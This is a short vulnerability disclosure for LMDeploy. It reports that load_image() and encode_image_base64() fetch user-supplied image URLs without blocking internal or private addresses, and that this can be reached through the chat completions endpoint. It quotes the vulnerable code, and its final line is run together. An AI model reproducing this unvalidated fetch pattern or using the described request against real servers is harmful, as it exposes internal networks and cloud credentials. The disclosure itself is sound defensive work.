A Server-Side Request Forgery (SSRF) vulnerability exists in LMDeploy's vision-language module. The load_image() function in lmdeploy/vl/utils.py fetches arbitrary URLs without validating internal/private IP addresses, allowing attackers to access cloud metadata services, internal networks, and sensitive resources.
File: lmdeploy/vl/utils.py (lines 64-67)
def load_image(image_url: Union[str, Image.Image]) -> Image.Image:
# ...
if image_url.startswith('http'):
response = requests.get(image_url, headers=headers, timeout=FETCH_TIMEOUT)
# NO VALIDATION OF URL/IP BEFORE REQUEST
Also affected: encode_image_base64() function (lines 26-29)
0.0.0.0 by default (api_server.py line 1393)/v1/chat/completions with malicious image_url:POST /v1/chat/completions
